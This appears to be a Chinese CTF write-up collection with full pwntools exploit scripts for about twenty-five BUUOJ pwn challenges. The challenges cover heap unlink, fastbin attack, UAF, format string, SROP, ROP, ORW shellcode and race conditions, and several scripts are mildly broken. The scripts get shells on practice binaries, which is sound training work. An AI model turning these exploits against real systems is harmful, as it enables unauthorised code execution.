p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))

hp_list = 0x6020e0

add(0x30,"aaaa") #0
add(0x80,"aaaa") #1
add(0x80,"/bin/sh\x00") #2

fd = hp_list - 0x18
bk = hp_list - 0x10
payload = p64(0)
payload += p64(0x30)
payload += p64(fd)
payload += p64(bk)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90)
edit(0, len(payload), payload)
free(1)

free_got = elf.got['free']
system_addr = elf.plt['system']
payload = "a" * 24 + p64(free_got)
edit(0, len(payload), payload)
payload = p64(system_addr)
edit(0, len(payload), payload)
free(2)
p.interactive()

fastbin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

p = process("./easyheap")
#p = remote("node3.buuoj.cn",29017)
elf = ELF("./easyheap")

def add(size,mes):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.sendline(mes)

def edit(index,size,mes):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil('Content of heap : ')
p.sendline(mes)

def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))



add(0x68)
add(0x68)
dele(1)
edit(0,0x80,'a'*0x68+p64(0x71)+p64(0x6020ad))
add(0x68,'/bin/sh\x00')

add(0x68,'a'*0x23+p64(free_got))#2#0x6020ad
edit(0,0x8,p64(system_addr))
dele(1)


p.interactive()

41.bbys_tu_2016

简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "amd64"
p = remote("node3.buuoj.cn",29573)
elf = ELF("./bbys_tu_2016")

payload = payload='a'*24+p32(elf.symbols['printFlag'])
p.sendline(payload)
print p.recv()
p.interactive()

42.ciscn_2019_es_7

看到这个gadgets就知道是一个SROP的题了
ziSyWP
因为15对应的系统调用号就是sigreturn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./ciscn_2019_es_7")
p = remote("node3.buuoj.cn",29956)
elf = ELF("./ciscn_2019_es_7")

syscall_ret=0x400517
read=0x4004f1
movrax_sigreturn=0x4004da

p.send("/bin/sh"+"\x00"*9+p64(read))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 280
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret

p.send("/bin/sh"+"\x00"*9+p64(movrax_sigreturn)+p64(syscall_ret)+str(sigframe))
p.interactive()

43.xdctf2015_pwn200

栈溢出 + ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./bof")
p = remote("node3.buuoj.cn",29587)
elf = ELF("./bof")

write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']

payload = "a"*0x6c + p32(0) + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter("Welcome to XDCTF2015~!\n",payload)

write_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
print hex(system_addr),hex(str_bin_sh)

payload = "a"*0x6c + p32(0) + p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
p.sendlineafter("Welcome to XDCTF2015~!\n",payload)

p.interactive()

44.[BJDCTF 2nd]r2t3

整形溢出,v3只有8位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "amd64"

#p = process("./r2t3")
p = remote("node3.buuoj.cn",28530)

shell = 0x0804858b

payload = "a"*0x15 + p32(shell)
p.send(payload.ljust(0x106,'a'))
p.interactive()

45.[BJDCTF 2nd]one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "amd64"

#p = process("./one_gadget")
p = remote("node3.buuoj.cn",29790)
libc = ELF("./u19_64.so")

p.recvuntil("u:")
printf_a = int(p.recvuntil('\n'),16)
print hex(printf_a)
base = printf_a - libc.symbols['printf']
one_gadgets = base + 0x106ef8
p.send(str(one_gadgets))

p.interactive()

'''
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

46.[BJDCTF 2nd]ydsneedgirlfriend2

free之后指针没有清零,UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./ydsneedgirlfriend2")
p = remote("node3.buuoj.cn",28291)
elf = ELF("./ydsneedgirlfriend2")

def add(size,mes):
p.recvuntil('u choice :')
p.sendline('1')
p.recvuntil('Please input the length of her name:')
p.sendline(str(size))
p.recvuntil('Please tell me her name:')
p.send(mes)

def show(index):
p.recvuntil('u choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))


def free(index):
p.recvuntil('u choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))


add(0x10,"aaa")
add(0x10,"bbb")
free(0)
add(0x10,"a"*8+p64(elf.symbols['backdoor']))
show(0)
p.interactive()

47.[BJDCTF 2nd]r2t4

格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./r2t4")
p = remote("node3.buuoj.cn",28943)
elf = ELF("./r2t4")
flag = 0x0400626
stack_fail = elf.got['__stack_chk_fail']

payload = fmtstr_payload(6,{stack_fail:flag})
payload.ljust(0x38,'a')
p.sendline(payload)
print p.recv()
p.interactive()

48.test

49.bjdctf_2020_babystack2

很明显的整形溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./bjdctf_2020_babystack2")
p = remote("node3.buuoj.cn",29992)
key = 0x80000001

p.sendlineafter("[+]Please input the length of your name:",str(key))
payload = 'a'*0x10 + p64(0) + p64(0x0400726)
p.recv()
p.send(payload)
p.interactive()

50.bjdctf_2020_router

linux命令解析的时候会将;解析成一个命令的结束
比如:
85C8Pm

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "amd64"

#p = process("./bjdctf_2020_babystack2")
p = remote("node3.buuoj.cn",28551)
p.sendline('1')
p.recv()
p.sendline("1;cat flag")
print p.recv()
p.interactive()

51.[V&N2020 公开赛]simpleHeap

基础的off-by-one的题 在edit函数处存在一个字节溢出的漏洞
保护全开,所以利用的思路就是修改malloc_hook
先制造出chunk overlap ,leak出 main_area 的地址,再使用fastbin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
from LibcSearcher import *

#context.log_level = "debug"
context.arch = "amd64"

p = process("./vn_pwn_simpleHeap")
#p = remote("node3.buuoj.cn",28551)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def add(size,mes):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(mes)

def edit(index,mes):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(index))
p.recvuntil('content:')
p.sendline(mes)

def show(index):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(index))

def free(index):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(index))


add(0x18,"aaaa")#0
add(0x60,"bbbb")#1
add(0x60,"cccc")#2
add(0x10,"dddd")#3

payload = "a"*0x18+'\xe1'
edit(0,payload)
free(1)
add(0x60,"bbbb")#1
show(2)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00")) - 88 - 0x3c4b20
success("libc_base:"+hex(libc_base))

realloc = libc_base + libc.symbols['__libc_realloc']
success("realloc:"+hex(realloc))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
success("malloc_hook:"+hex(malloc_hook))
fake_chunk = malloc_hook - 0x23
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]


add(0x60,"eeee")#4,2
free(4)
payload = p64(fake_chunk)
edit(2,payload)
add(0x60,"eeee")#4

payload = 'a'*(0x13-0x8) + p64(libc_base+one_gadget[1]) + p64(realloc+13)
add(0x60,payload)#fake chunk
p.sendline('1')
p.sendline(str(0x10))
p.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

52.vn_pwn_warmup

这个题使用了prtcl函数,这是一个Linux下对进程的控制函数,这个题里使用了这个函数后将不能使用system,execve函数,所以使用ORW攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "i386"

p = process("./orw")
#p = remote("node3.buuoj.cn",28968)

p.recvuntil("Here is my gift: ")
puts_addr = int(p.recvuntil('\n'),16)
success("puts:"+hex(puts_addr))
offset = puts_addr - libc.symbols['puts']


rdi = offset + 0x21102
rsi = 0x202e8 + offset
rdx = 0x1b92 + offset
ret = offset + 0x937
read_add = libc.sym['read'] + offset
open_add = libc.sym['open'] + offset
write_add = libc.sym['write'] + offset
bss = offset + 0x3c6500

payload = p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_add) #read(0,buf,100)
payload += p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(open_add) #open('/flag',0)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(read_add) #read(3,buf,100)
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x100) + p64(write_add) #write(1,buf,100)
p.sendline(payload)
p.recvuntil('name?')
payload = 'a'*0x70 + p64(0xdeadbeef) +p64(ret)
p.send(payload)
p.sendline('/flag\x00')
p.interactive()

53.pwnable_orw

这个题和上个题一样,同样是ORW攻击,但是是自己写shellcode
x86 syscall查询表

EXP1

使用pwntools的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "i386"

#p = process("./vn_pwn_warmup")
p = remote("node3.buuoj.cn",27624)

bss = 0x0804a0ac
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read('eax',bss,100)
shellcode += shellcraft.write(1,bss,100)
p.sendline(asm(shellcode))
print p.recv()
p.interactive()

EXP2:

自己写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "i386"

#p = process("./vn_pwn_warmup")
p = remote("node3.buuoj.cn",27624)

shellcode = asm(
'''
push 0x67616c66;
mov ecx, 0x0;
mov ebx, esp;
mov eax, 0x5;
int 0x80;
'''
'''
mov ebx, eax;
mov ecx, 0x0804a0ac;
mov edx, 0x100;
mov eax, 0x3;
int 0x80;
'''
'''
mov ebx, 0x1;
mov ecx, 0x0804a0ac;
mov edx, 0x100;
mov eax, 0x4;
int 0x80;
'''
)

p.sendline(shellcode)
print p.recv()
p.interactive()

54.bjdctf_2020_babyrop2

使用gef的插件得到格式化字符串的偏移
xMwBie

先使用格式化字符串泄漏canary ,然后再ROP getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
#context.arch = "i386"

#p = process("./bjdctf_2020_babyrop2")
p = remote("node3.buuoj.cn",27931)
elf = ELF("./bjdctf_2020_babyrop2")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


payload1 = "%7$p"
p.recvuntil("I'll give u some gift to help u!")
p.sendline(payload1)
canary = int(p.recvuntil('Pull',True).strip(),16)
success("[*]canary:"+hex(canary))

p.recvuntil("story!")
pop_rdi = 0x0000000000400993
payload2 = 'a'*0x18 + p64(canary) + p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['vuln'])
p.sendline(payload2)
puts_a = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
success("[*]puts address:"+hex(puts_a))
base = puts_a - libc.symbols['puts']
system_addr = base + libc.symbols['system']
binsh = base + libc.search('/bin/sh').next()

p.recvuntil("story!")
payload2 = 'a'*0x18 + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh) + p64(system_addr)
p.sendline(payload2)

p.interactive()

55.hctf2016_fheap

程序的漏洞点在del函数的地方,没有对free的指针进行清零,所以存在UAF漏洞,这个题的难点在于题目开启了PIE

1
2
3
4
5
6
[*] '/home/lhh/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/pwn-f'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

既然已经确定了漏洞点,那么就来想想怎样才能利用起来
第一步是leak 出程序的加载地址
观察chunk的结构
6r2XxW
我们可以将原本保存free函数的位置修改为puts函数,就可以得到puts函数的地址。
得到后减去后三位的偏移就得到了程序的加载地址
接下来是leak出libc的地址,这个可以通过格式化字符串来做,因为上面已经得到了程序的加载地址,所以可以得到printf的地址,自己构造出格式化字符串,打印栈上的内容
截屏2020-04-15下午6.36.14
我们发现了在0x1f的偏移处是puts+362的地址,所以就可以得到puts函数的地址,也就得到了libc的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

#p = process("./pwn-f")
p = remote("node3.buuoj.cn",26745)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./pwn-f")

def create(size,string):
p.recvuntil("3.quit\n")
p.sendline("create ")
p.sendlineafter("Pls give string size:",str(size))
p.sendafter("str:",string)

def free(index):
p.recvuntil("3.quit\n")
p.sendline("delete ")
p.sendlineafter("id:",str(index))
p.sendlineafter("Are you sure?:","yes")

create(0x10,"aaaa")#0
create(0x10,"bbbb")#1

free(1)
free(0)

pay1 = 'q'*20 + 's'*4 + '\x1a'
create(32,pay1)

free(1)
p.recvuntil("ssss")
proc_base = u64(p.recv(6).ljust(8,"\x00")) - 0xd1a
success("proc base: "+hex(proc_base))
printf_addr = proc_base + 0x9d0

free(0)
pay2 = 'a'*8 + '%37$p' + 's'*11 + p64(printf_addr)
create(32,pay2)

free(1)
p.recvuntil("aaaaaaaa")
puts_addr = int(p.recvuntil('s',True),16) - 362
success("puts addr: "+hex(puts_addr))

system_addr = puts_addr - libc.sym['puts'] + libc.sym['system']
success("system addr: "+hex(system_addr))
free(0)
create(0x20, "/bin/sh;".ljust(24, "p") + p64(system_addr))
free(1)
p.interactive()

56.whctf2017_note_sys

这个题学了一个新知识,条件竞争,在OS课上学过了没想到在CTF里竟然可以这样用
漏洞点就在
del func:
Tnsrsx
create func:
I3njjh
这两个函数都是在新fork的线程里,但是对于全局变量没有上锁,所以我们可以多次调用del函数,将这个二层指针指向free函数的GOT位置,然后再使用create函数覆盖free函数的内容

udRTu4

IDLocC
通过计算这里需要调用22次del

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *

#context.log_level = "debug"
context.arch = "amd64"

#p = process("./note_sys")
p = remote("node3.buuoj.cn",29088)
def create(string):
p.recvuntil("choice:")
p.sendline("0")
p.sendlineafter("input your note, no more than 250 characters",string)

def free():
p.recvuntil("choice:")
p.sendline("2")

payload = asm(shellcraft.sh())
for x in range(0,22):
free()
create(payload)
p.interactive()

57.whctf2017_easypwn

程序的漏洞点在sprintf函数上,本来format是%s,但是可以通过覆盖将format修改
z2prZN
在栈上寻找可以leak的libc地址
eztF13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

p = process("./pwn1")
#p = remote("node3.buuoj.p",26466)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def fun1(s):
p.sendlineafter("Input Your Code:",'1')
gdb.attach(p)
pause()
p.sendlineafter("Welcome To WHCTF2017:",s)
pause()

payload1 = "s"*0x3e8 + "aaaa%398$p\x00"
fun1(payload1)
p.recvuntil('0x')
data = int(p.recvuntil('\n')[:-1],16)
libc_base = data - libc.symbols['__libc_start_main']-240
success('libc_base: ' + hex(libc_base))
system = lib-c_base + libc.symbols['system']
success('system: ' + hex(system))
freehook = libc_base + libc.symbols['__free_hook']
success('freehook: ' + hex(freehook))

for i in range(8):
p_system = p64(system)
pay = 'a'*1000
pay += 'BB%'+str(0x100-0xfe+ord(p_system[i]))+'c%133$hhn'
pay = pay.ljust(1016,'A')
pay += p64(freehook+i)
pay = pay.ljust(1024,'a')
fun1(pay)
p.sendline('2')
p.sendline('/bin/sh\x00')
p.interactive()
p.interactive()

58.pwnable_tlsv00

https://wogh8732.tistory.com/136
https://dr-nibe.tistory.com/entry/WriteUppwnablexyz-TLSv00

59.shanghai2019_login

del部分存在UAF漏洞

EXP1:

爆破libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

context.log_level = 'debug'
p = process('./login')
#r = remote("node3.buuoj.cn",29962)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./login")


def login(idx,l,pwd):
p.sendlineafter("Choice:\n",'1')
p.sendlineafter("id:\n",str(idx))
p.sendlineafter("length:\n",str(l))
p.sendafter("password:\n",pwd)

def register(idx,l,pwd):
p.sendlineafter("Choice:\n",'2')
p.sendlineafter("id:\n",str(idx))
p.sendlineafter("length:\n",str(l))
p.sendafter("password:\n",pwd)

def delete(idx):
p.sendlineafter("Choice:\n",'3')
p.sendlineafter("id:\n",str(idx))

def edit(idx,pwd):
p.sendlineafter("Choice:\n",'4')
p.sendlineafter("id:\n",str(idx))
p.sendafter("pass:\n",pwd)

addr = elf.got['free']
register(0,0x88,'aaaa')
delete(0)
# gdb.attach(p)
register(1,0x18,p64(addr+5))
pwd = '\x7f'
# gdb.attach(p)
login(0,1,pwd)

for i in range(5):
edit(1,p64(addr+(4-i)))
for j in range(1,0x100):
login(0,i+2,chr(j) + pwd)
if "success!" in p.recvuntil('\n'):
pwd = chr(j) + pwd
break


free_addr = u64(pwd.ljust(8,'\x00'))
libc_base = free_addr - libc.symbols['free']
info("libc base:"+str(hex(libc_base)))
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']

edit(1,p64(free_hook))
register(2,0x48,'/bin/sh\x00')
edit(0,p64(system))
delete(2)
p.interactive()

60.安洵杯_2018_hiahia


这里写着flag的位置
使用栈溢出报错输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

#context.log_level = 'debug'


p = remote("node3.buuoj.cn",29293)
#p = process("./2018_hiahia")

argv_addr = 0x7fffffffddf0
name_addr = 0x7fffffffdf58
flag_addr = 0x4007A8
payload = 'a' * (name_addr - argv_addr) + p64(flag_addr)
p.sendlineafter("flag!\n", payload)
p.interactive()

但是这个题远程打不通

61.安洵杯_2018_neko


明显的栈溢出
查看保护

1
2
3
4
5
6
[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/2018_neko'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

使用ROP将shell写在BSS上,再使用ROP返回,再次栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.log_level = 'debug'

#p = remote("node3.buuoj.cn",27266)
p = process("./2018_neko")
elf = ELF("./2018_neko")

p.recvuntil('Hey!Do you like cats?')
p.sendline('Y')
p.recvuntil('Help this cat found his anchovies:')
read=0x804880a
system=0x8048410
bss = 0x804a040
main_addr = 0x80486e7
payload='a'*0xd4+p32(elf.plt['read'])+p32(main_addr)+p32(0)+p32(0x804a040)+p32(0x100)
p.sendline(payload)
pay1='/bin/sh'+chr(0)
p.sendline(pay1)
p.recvuntil('Help this cat found his anchovies:')
payload='a'*0xd4+p32(system)+p32(0)+p32(0x804a040)
p.sendline(payload)

p.interactive()

62.hwb2018_huwang


这里的open存在漏洞,open 是以 O_WRONLY | O_TRUNC 的 flags 打开的,其中 O_TRUNC 的含义是 当文件存在且被另一个程序以可写的模式打开时,把文件的长度截短为 0

所以我们是开一个远程连接进行MD5计算,再开一个就可以直接绕过check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context.log_level = 'debug'

#p1 = remote("node3.buuoj.cn",25139)
#p2 = remote("node3.buuoj.cn",25139)
p1 = process("./huwang")
p2 = process("./huwang")

elf = ELF("./huwang")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def p_1(name,cnt):
p1.sendlineafter("command>> \n", "666")
sleep(0.01)
p1.sendafter("name\n", name)
sleep(0.01)
p1.sendlineafter("secret?\n", "y")
sleep(0.01)
p1.sendlineafter("secret:\n", str(cnt))
sleep(0.01)

def p_2(name, cnt, secret):
p2.sendlineafter("command>> \n", "666")
sleep(0.01)
p2.sendafter("name\n", name)
sleep(0.01)
p2.sendlineafter("secret?\n", "y")
sleep(0.01)
p2.sendlineafter("secret:\n", str(cnt))
sleep(0.01)
p2.sendafter("secret\n", secret)
sleep(0.01)

### leak canary #############
p_1("aaa",-1)
p_2('x' * (24 + 1),1,'4ae71336e44bf9bf79d2752e234818a5'.decode('hex'))
p2.recvuntil('x' * (24 + 1))
canary = u64('\x00' + p2.recvn(7))
success("canary :"+str(hex(canary)))

### leak libc ###############
p2.recvuntil('occupation?\n')
p2.send('a' * 0xff)
p2.recvuntil('[Y/N]\n')
p2.sendline('Y')
pop_rdi = 0x0000000000401573
ret_addr = 0x040101c
payload = "a"*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(pop_rdi) + p64(elf.got['puts']) + p64(ret_addr)
p2.sendline(payload)
base = u64(p2.recvuntil('\x7f')[-6:].ljust(8,"\x00")) - libc.symbols['puts']
system_addr = base + libc.symbols['system']
binsh = base + libc.search("/bin/sh").next()
success("libc base:"+hex(base))

### get shell ##############
p2.recvuntil('occupation?\n')
p2.send('a' * 0xff)
p2.recvuntil('[Y/N]\n')
p2.sendline('Y')
ret = 0x00000000004005e0
payload = "a"*0x108 + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system_addr)
p2.sendline(payload)
p2.interactive()

63.wdb_2018_2nd_memffle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: utf-8 -*
from pwn import *
import os

#context.log_level="debug"
elf=ELF("./wdb_2018_2nd_memffle")
def load_local():
#p=process("./wdb_2018_2nd_memffle")
p = remote("node3.buuoj.cn",28176)
return p

def get_canary(p):
p.recvuntil("Your name is? ")
p.sendline("A"*0x10+"B")
p.recvuntil("B")
canary=u32('\x00'+p.recv(3))
print "canary="+hex(canary)
return canary

def get_system(p):
p.recvuntil("Here's a gift for you: ")
gift=int(p.recv(2),16)
system_addr=0xf7d00da0
system_addr=system_addr|(gift<<12)
print "system_addr="+hex(system_addr)
bin_sh=system_addr+0x120c6b
print "bin_sh="+hex(bin_sh)
return system_addr,bin_sh

def get_point(p):
output=os.popen("./printrand")
ret_p,canary_p,bin_sh_p=output.read().split("\n")
sss=[ret_p,canary_p,bin_sh_p]
print sss
for i in sss:
if i.startswith("ret="):
ret_p=i[4:]
if i.startswith("canary="):
canary_p=i[7:]
if i.startswith("bin_sh="):
bin_sh_p=i[7:]
print ret_p,canary_p,bin_sh_p
return ret_p,canary_p,bin_sh_p

def get_shell(p):
p.recvuntil("How many numbers do you want to input? ")
p.sendline("139")
for i in range(139):
p.recvuntil("number: ")
if str(i)==ret_p:
p.sendline(str(int(system_addr)))
elif str(i)==canary_p:
p.sendline(str(int(canary)))
elif str(i)==bin_sh_p:
p.sendline(str(int(bin_sh)))
else:
p.sendline("1111")

while True:
try:
p=load_local()
canary=get_canary(p)
system_addr,bin_sh=get_system(p)
ret_p,canary_p,bin_sh_p=get_point(p)
get_shell(p)
p.recvuntil("After shuffling, the array is:")
p.interactive()
except:
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<stdio.h>
#include<time.h>
int main()
{
time_t seed=time(0);
srand(seed);
int v4,a;
int v[139];
for(int i=0;i<139 ;i++)
{
v[i]=i;
}

for(int i=138;i>=0;i--)
{
a=rand();
v4=v[i];
v[i]=v[a%(i+1)];
v[a%(i+1)]=v4;
}

printf("bin_sh=%d\n",v[138]);
printf("ret=%d\n",v[136]);
printf("canary=%d",v[132]);

return 0;
}

64.pwnable_hacknote


free函数没有清空指针,存在double free和UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#-*- coding: utf-8 -*-
from pwn import *


r = remote('node3.buuoj.cn',25219)

def addNote(size, note):
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(note)

def deleteNote(index):
r.recvuntil(':')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(index))

def printNote(index):
s = r.recvuntil(':')
r.sendline('3')
s = r.recvuntil(':')
r.sendline(str(index))

print_note = 0x804862b
puts_got = 0x804a024
puts_libc = 0x0005f140
system_libc = 0x0003a940

addNote(0x50, 'aaaaa')
addNote(0x50, 'aaaaa')
deleteNote(0)
deleteNote(1)

addNote(0x8, p32(print_note) + p32(puts_got))

printNote(0)

s = r.recvuntil('\n')[:-1].split(':')[1][:4]
puts = u32(s.ljust(4, '\x00'))
print hex(puts)

base = puts - puts_libc
system = base + system_libc

deleteNote(2)

addNote(0x8, p32(system) + ';sh')

printNote(0)

r.interactive()

65.watevr_2019_betstar_5000

格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

#context.log_level = 'debug'

p = remote("node3.buuoj.cn",25418)

#p = process("./watevr_2019_betstar_5000")
elf = ELF("./watevr_2019_betstar_5000")
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")

def getMenu():
print p.recvuntil("5. End the game")

def getLeaks():
getMenu()
p.sendline("1")# menu
p.sendline("1")
p.sendline("1")
print p.recvuntil("And the winner is *drumroll*: ")
leak = p.recvline().strip("\n")
return leak

def addPlayer(name):
getMenu()
